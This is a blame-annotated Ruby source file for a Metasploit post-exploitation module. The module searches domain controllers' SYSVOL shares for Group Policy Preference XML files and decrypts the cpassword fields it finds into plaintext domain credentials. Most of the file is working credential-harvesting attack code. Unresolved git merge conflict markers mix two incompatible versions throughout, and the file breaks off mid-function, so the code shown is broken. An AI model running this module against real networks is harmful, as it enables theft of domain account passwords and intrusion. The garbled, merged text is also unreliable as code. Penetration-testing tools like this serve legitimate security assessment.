2012-06-21 16:14:57 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
|
|
|
=======
|
2012-06-23 22:38:07 +00:00
|
|
|
require 'msf/core/post/windows/registry'
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Post::Windows::Priv
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
|
|
|
=======
|
2012-06-23 22:38:07 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2012-06-22 21:36:52 +00:00
|
|
|
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
|
2012-06-21 16:14:57 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module enumerates the victim machine's domain controller and
|
2012-06-21 17:46:20 +00:00
|
|
|
connects to it via SMB. It then looks for Group Policy Preference XML
|
2012-06-22 21:36:52 +00:00
|
|
|
files containing local user accounts and passwords and decrypts them
|
|
|
|
using Microsofts public AES key.
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific
|
|
|
|
domains on the network. This module will enumerate any domain controllers for
|
|
|
|
those domains.
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
Users can specify ALL=True to target all domains and their domain controllers
|
|
|
|
on the network.
|
2012-06-22 18:12:42 +00:00
|
|
|
|
2012-06-22 21:36:52 +00:00
|
|
|
Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client
|
|
|
|
Workstation.
|
|
|
|
|
|
|
|
Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it
|
|
|
|
is looking externally on the network for other Domain Controllers, however the
|
|
|
|
default (CURRENT=True which inspects the registry) should work successfully.
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:45:56 +00:00
|
|
|
Tested on WinXP SP3 Client and Win2k8 R2 DC.
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>[
|
2012-06-22 18:12:42 +00:00
|
|
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
2012-06-21 16:14:57 +00:00
|
|
|
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
|
2012-06-22 18:12:42 +00:00
|
|
|
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-22 21:36:52 +00:00
|
|
|
'TheLightCosine <thelightcosine[at]gmail.com>'
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:45:56 +00:00
|
|
|
'TheLightCosine <thelightcosine[at]metasploit.com>',
|
|
|
|
'Rob Fuller <mubix[at]hak5.org>' #domain/dc enumeration code
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
],
|
2012-06-21 17:46:20 +00:00
|
|
|
'References' =>
|
2012-06-21 16:14:57 +00:00
|
|
|
[
|
2012-06-22 10:14:19 +00:00
|
|
|
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
|
2012-06-22 15:04:17 +00:00
|
|
|
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
|
2012-06-22 17:11:15 +00:00
|
|
|
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
|
|
|
|
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
|
2012-06-21 16:14:57 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]),
|
|
|
|
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]),
|
2012-06-22 21:36:52 +00:00
|
|
|
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']),
|
2012-06-21 16:14:57 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
dcs = []
|
2012-06-22 13:30:12 +00:00
|
|
|
group_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
|
|
|
|
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
|
2012-06-22 13:30:12 +00:00
|
|
|
service_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
|
2012-06-22 13:30:12 +00:00
|
|
|
printer_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
|
2012-06-22 13:30:12 +00:00
|
|
|
drive_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
|
2012-06-22 13:30:12 +00:00
|
|
|
datasource_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
|
|
|
|
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
|
2012-06-22 13:30:12 +00:00
|
|
|
task_paths = []
|
2012-06-22 16:21:32 +00:00
|
|
|
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
|
|
|
|
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
if !datastore['DOMAINS'].to_s.empty?
|
|
|
|
user_domains = datastore['DOMAINS'].to_s.split(' ')
|
|
|
|
print_status "User supplied domains #{user_domains}"
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
user_domains.each do |domain_name|
|
2012-06-21 17:28:06 +00:00
|
|
|
found_dcs = enum_dcs(domain_name)
|
|
|
|
dcs << found_dcs[0] unless found_dcs.to_a.empty?
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
elsif datastore['ALL']
|
|
|
|
enum_domains.each do |domain|
|
|
|
|
domain_name = domain[:domain]
|
|
|
|
if domain_name == "WORKGROUP" || domain_name.empty?
|
|
|
|
print_status "Skipping '#{domain_name}'..."
|
|
|
|
next
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
|
|
|
found_dcs = enum_dcs(domain_name)
|
2012-06-21 16:14:57 +00:00
|
|
|
# We only wish to enumerate one DC for each Domain.
|
|
|
|
dcs << found_dcs[0] unless found_dcs.to_a.empty?
|
|
|
|
end
|
|
|
|
elsif datastore['CURRENT']
|
2012-06-21 18:20:34 +00:00
|
|
|
dcs << get_domain_controller
|
2012-06-21 16:14:57 +00:00
|
|
|
else
|
|
|
|
print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments"
|
|
|
|
return nil
|
2012-06-21 17:46:20 +00:00
|
|
|
end
|
2012-06-21 16:14:57 +00:00
|
|
|
|
|
|
|
dcs = dcs.flatten.compact
|
2012-06-22 21:36:52 +00:00
|
|
|
|
|
|
|
if dcs.length < 1
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
dcs.each do |dc|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Searching on #{dc}..."
|
|
|
|
sysvol_path = "\\\\#{dc}\\SYSVOL\\"
|
|
|
|
begin
|
|
|
|
# Enumerate domain folders
|
|
|
|
session.fs.dir.foreach(sysvol_path) do |domain_dir|
|
|
|
|
next if domain_dir =~ /^(\.|\.\.)$/
|
|
|
|
domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\"
|
|
|
|
print_status "Looking in domain folder #{domain_path}"
|
|
|
|
# Enumerate policy folders {...}
|
|
|
|
begin
|
|
|
|
session.fs.dir.foreach(domain_path) do |policy_dir|
|
|
|
|
next if policy_dir =~ /^(\.|\.\.)$/
|
|
|
|
policy_path = "#{domain_path}\\#{policy_dir}"
|
|
|
|
group_paths << find_path(policy_path, group_path)
|
2012-06-22 16:21:32 +00:00
|
|
|
group_paths << find_path(policy_path, group_path_user)
|
2012-06-22 13:36:29 +00:00
|
|
|
service_paths << find_path(policy_path, service_path)
|
2012-06-22 13:30:12 +00:00
|
|
|
printer_paths << find_path(policy_path, printer_path)
|
|
|
|
drive_paths << find_path(policy_path, drive_path)
|
|
|
|
datasource_paths << find_path(policy_path, datasource_path)
|
2012-06-22 16:21:32 +00:00
|
|
|
datasource_paths << find_path(policy_path, datasource_path_user)
|
2012-06-22 13:30:12 +00:00
|
|
|
task_paths << find_path(policy_path, task_path)
|
2012-06-22 16:21:32 +00:00
|
|
|
task_paths << find_path(policy_path, task_path_user)
|
2012-06-22 13:30:12 +00:00
|
|
|
end
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2012-06-22 17:11:15 +00:00
|
|
|
print_error "Received error code #{e.code} when reading #{domain_path}"
|
2012-06-22 13:30:12 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2012-06-22 17:11:15 +00:00
|
|
|
print_error "Received error code #{e.code} when reading #{sysvol_path}"
|
2012-06-22 13:30:12 +00:00
|
|
|
end
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
group_paths = group_paths.flatten.compact
|
|
|
|
service_paths = service_paths.flatten.compact
|
|
|
|
printer_paths = printer_paths.flatten.compact
|
|
|
|
drive_paths = drive_paths.flatten.compact
|
|
|
|
datasource_paths = datasource_paths.flatten.compact
|
|
|
|
task_paths = task_paths.flatten.compact
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from Groups.xml:"
|
|
|
|
group_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_group_xml(mxml, dc)
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from Services.xml:"
|
|
|
|
service_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_service_xml(mxml, dc)
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from Printers.xml:"
|
|
|
|
printer_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_printer_xml(mxml, dc)
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from Drives.xml:"
|
|
|
|
drive_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_drive_xml(mxml, dc)
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from DataSources.xml:"
|
|
|
|
datasource_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_datasource_xml(mxml, dc)
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_status "Results from ScheduledTasks.xml:"
|
|
|
|
task_paths.each do |path|
|
|
|
|
mxml, dc = get_xml(path)
|
|
|
|
parse_scheduled_task_xml(mxml, dc)
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 22:38:07 +00:00
|
|
|
register_options([
|
|
|
|
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]),
|
2012-06-24 18:08:19 +00:00
|
|
|
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2012-06-23 17:42:33 +00:00
|
|
|
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
|
|
|
|
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
|
|
|
|
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
|
|
|
|
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
|
|
|
|
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
|
|
|
|
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
|
|
|
|
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
|
|
|
|
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
|
|
|
|
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
|
|
|
|
|
|
|
|
domains = []
|
2012-06-12 02:20:18 +00:00
|
|
|
dcs = []
|
2012-06-23 17:42:33 +00:00
|
|
|
basepaths = []
|
|
|
|
fullpaths = []
|
2012-06-24 21:21:35 +00:00
|
|
|
@enumed_domains = []
|
2012-06-12 02:20:18 +00:00
|
|
|
|
2012-06-23 22:38:07 +00:00
|
|
|
print_status "Checking locally.."
|
2012-06-24 18:08:19 +00:00
|
|
|
locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
|
|
|
|
unless locals.blank?
|
|
|
|
basepaths << locals
|
|
|
|
print_good "Policy Sahres found locally"
|
|
|
|
end
|
2012-06-23 17:42:33 +00:00
|
|
|
|
2012-06-24 21:21:35 +00:00
|
|
|
if datastore['ALL'] and datastore['DOMAINS'].blank?
|
2012-06-23 22:38:07 +00:00
|
|
|
domains = enum_domains
|
|
|
|
domains.reject!{|n| n == "WORKGROUP"}
|
|
|
|
end
|
|
|
|
|
2012-06-24 18:08:19 +00:00
|
|
|
datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS']
|
2012-06-23 22:38:07 +00:00
|
|
|
domains << get_domain_reg
|
|
|
|
domains.flatten!
|
|
|
|
domains.compact!
|
2012-06-24 18:08:19 +00:00
|
|
|
domains.uniq!
|
|
|
|
|
|
|
|
|
2012-06-27 15:06:15 +00:00
|
|
|
domains.each do |domain|
|
2012-06-24 18:08:19 +00:00
|
|
|
dcs = enum_dcs(domain)
|
2012-06-24 21:21:35 +00:00
|
|
|
next if dcs.blank?
|
2012-06-24 18:08:19 +00:00
|
|
|
dcs.uniq!
|
|
|
|
tbase = []
|
2012-06-27 15:06:15 +00:00
|
|
|
dcs.each do |dc|
|
2012-06-24 18:08:19 +00:00
|
|
|
print_status "Searching for Policy Share on #{dc}..."
|
|
|
|
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
|
|
|
|
#If we got a basepath from the DC we know that we can reach it
|
|
|
|
#All DCs on the same domain should be the same so we only need one
|
|
|
|
unless tbase.blank?
|
|
|
|
print_good "Found Policy Share on #{dc}"
|
|
|
|
basepaths << tbase
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-06-12 02:20:18 +00:00
|
|
|
|
2012-06-23 17:42:33 +00:00
|
|
|
basepaths.flatten!
|
|
|
|
basepaths.compact!
|
2012-06-24 18:08:19 +00:00
|
|
|
print_status "Searching for Group Policy XML Files..."
|
2012-06-23 17:42:33 +00:00
|
|
|
basepaths.each do |policy_path|
|
|
|
|
fullpaths << find_path(policy_path, group_path)
|
|
|
|
fullpaths << find_path(policy_path, group_path_user)
|
|
|
|
fullpaths << find_path(policy_path, service_path)
|
|
|
|
fullpaths << find_path(policy_path, printer_path)
|
|
|
|
fullpaths << find_path(policy_path, drive_path)
|
|
|
|
fullpaths << find_path(policy_path, datasource_path)
|
|
|
|
fullpaths << find_path(policy_path, datasource_path_user)
|
|
|
|
fullpaths << find_path(policy_path, task_path)
|
|
|
|
fullpaths << find_path(policy_path, task_path_user)
|
|
|
|
end
|
|
|
|
fullpaths.flatten!
|
|
|
|
fullpaths.compact!
|
|
|
|
fullpaths.each do |filepath|
|
|
|
|
tmpfile = gpp_xml_file(filepath)
|
|
|
|
parse_xml(tmpfile) if tmpfile
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2012-06-23 17:42:33 +00:00
|
|
|
def get_basepaths(base)
|
|
|
|
locals = []
|
|
|
|
begin
|
|
|
|
session.fs.dir.foreach(base) do |sub|
|
|
|
|
next if sub =~ /^(\.|\.\.)$/
|
|
|
|
tpath = "#{base}\\#{sub}\\Policies"
|
2012-06-27 15:06:15 +00:00
|
|
|
begin
|
2012-06-23 17:42:33 +00:00
|
|
|
session.fs.dir.foreach(tpath) do |sub2|
|
|
|
|
next if sub =~ /^(\.|\.\.)$/
|
|
|
|
locals << "#{tpath}\\#{sub2}\\"
|
|
|
|
end
|
2012-06-23 17:56:12 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Could not access #{tpath} : #{e.message}"
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
end
|
2012-06-23 17:42:33 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Error accessing #{base} : #{e.message}"
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
2012-06-23 17:42:33 +00:00
|
|
|
return locals
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-22 13:30:12 +00:00
|
|
|
def find_path(path, xml_path)
|
2012-06-22 16:21:32 +00:00
|
|
|
xml_path = "#{path}\\#{xml_path}"
|
2012-06-21 16:14:57 +00:00
|
|
|
begin
|
2012-06-22 13:30:12 +00:00
|
|
|
return xml_path if client.fs.file.stat(xml_path)
|
2012-06-21 16:14:57 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2012-06-22 13:30:12 +00:00
|
|
|
# No permissions for this specific file.
|
2012-06-22 17:11:15 +00:00
|
|
|
return nil
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 16:14:57 +00:00
|
|
|
def get_xml(path)
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:42:33 +00:00
|
|
|
def gpp_xml_file(path)
|
2012-07-02 07:57:54 +00:00
|
|
|
>>>>>>> upstream/master
|
2012-06-21 16:14:57 +00:00
|
|
|
begin
|
|
|
|
groups = client.fs.file.new(path,'r')
|
|
|
|
until groups.eof
|
|
|
|
data = groups.read
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
<<<<<<< HEAD
|
2012-06-21 17:46:20 +00:00
|
|
|
domain = path.split('\\')[2]
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
mxml = REXML::Document.new(data).root
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
return mxml, domain
|
2012-06-22 10:27:06 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Received error code #{e.code} when reading #{path}"
|
2012-06-21 16:14:57 +00:00
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_service_xml(mxml,domain_controller)
|
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
user = node.attributes['accountName']
|
|
|
|
service_name = node.attributes['serviceName']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}"
|
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_printer_xml(mxml,domain_controller)
|
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 17:33:54 +00:00
|
|
|
user = node.attributes['username'] #lowercase in MSDN
|
2012-06-22 13:30:12 +00:00
|
|
|
path = node.attributes['path']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
|
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_drive_xml(mxml,domain_controller)
|
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 17:47:44 +00:00
|
|
|
user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice
|
2012-06-22 13:30:12 +00:00
|
|
|
path = node.attributes['path']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
|
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_datasource_xml(mxml,domain_controller)
|
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 17:33:54 +00:00
|
|
|
user = node.attributes['username'] #lowercase in MSDN
|
2012-06-22 13:30:12 +00:00
|
|
|
dsn = node.attributes['dsn']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}"
|
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_scheduled_task_xml(mxml,domain_controller)
|
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 15:04:17 +00:00
|
|
|
user = node.attributes['runAs']
|
2012-06-22 13:30:12 +00:00
|
|
|
task_name = node.attributes['name']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}"
|
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-21 16:14:57 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
def parse_group_xml(mxml,domain_controller)
|
2012-06-21 16:14:57 +00:00
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
user = node.attributes['userName']
|
|
|
|
newname = node.attributes['newName']
|
|
|
|
disabled = node.attributes['acctDisabled']
|
2012-06-22 10:03:34 +00:00
|
|
|
action = node.attributes['action']
|
|
|
|
expires = node.attributes['expires']
|
|
|
|
never_expires = node.attributes['neverExpires']
|
|
|
|
description = node.attributes['description']
|
|
|
|
full_name = node.attributes['fullName']
|
|
|
|
no_change = node.attributes['noChange']
|
|
|
|
change_logon = node.attributes['changeLogon']
|
|
|
|
sub_authority = node.attributes['subAuthority']
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
changed = node.parent.attributes['changed']
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
# Check if policy also specifies the user is renamed.
|
|
|
|
if !newname.to_s.empty?
|
|
|
|
user = newname
|
|
|
|
end
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-21 16:14:57 +00:00
|
|
|
pass = decrypt(epassword)
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-22 10:03:34 +00:00
|
|
|
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}"
|
2012-06-21 17:46:20 +00:00
|
|
|
|
2012-06-22 13:30:12 +00:00
|
|
|
report_creds(user,pass)
|
|
|
|
end
|
|
|
|
end
|
2012-06-22 13:36:29 +00:00
|
|
|
|
2012-07-02 07:57:54 +00:00
|
|
|
=======
|
2012-06-23 17:42:33 +00:00
|
|
|
spath = path.split('\\')
|
|
|
|
retobj = {
|
2012-06-24 21:21:35 +00:00
|
|
|
:dc => spath[2],
|
2012-06-24 18:08:19 +00:00
|
|
|
:path => path,
|
2012-06-23 17:42:33 +00:00
|
|
|
:xml => REXML::Document.new(data).root
|
2012-06-27 15:06:15 +00:00
|
|
|
}
|
2012-06-24 21:21:35 +00:00
|
|
|
if spath[4] == "sysvol"
|
2012-06-27 15:06:15 +00:00
|
|
|
retobj[:domain] = spath[5]
|
2012-06-24 21:21:35 +00:00
|
|
|
else
|
|
|
|
retobj[:domain] = spath[4]
|
|
|
|
end
|
2012-06-23 17:42:33 +00:00
|
|
|
return retobj
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Received error code #{e.code} when reading #{path}"
|
|
|
|
return nil
|
2012-06-12 02:20:18 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-06-23 17:42:33 +00:00
|
|
|
def parse_xml(xmlfile)
|
|
|
|
mxml = xmlfile[:xml]
|
2012-06-24 18:08:19 +00:00
|
|
|
print_status "Parsing file: #{xmlfile[:path]} ..."
|
2012-06-12 02:20:18 +00:00
|
|
|
mxml.elements.to_a("//Properties").each do |node|
|
2012-06-23 17:42:33 +00:00
|
|
|
epassword = node.attributes['cpassword']
|
|
|
|
next if epassword.to_s.empty?
|
2012-06-24 21:21:35 +00:00
|
|
|
next if @enumed_domains.include? xmlfile[:domain]
|
|
|
|
@enumed_domains << xmlfile[:domain]
|
2012-06-23 17:42:33 +00:00
|
|
|
pass = decrypt(epassword)
|
|
|
|
|
|
|
|
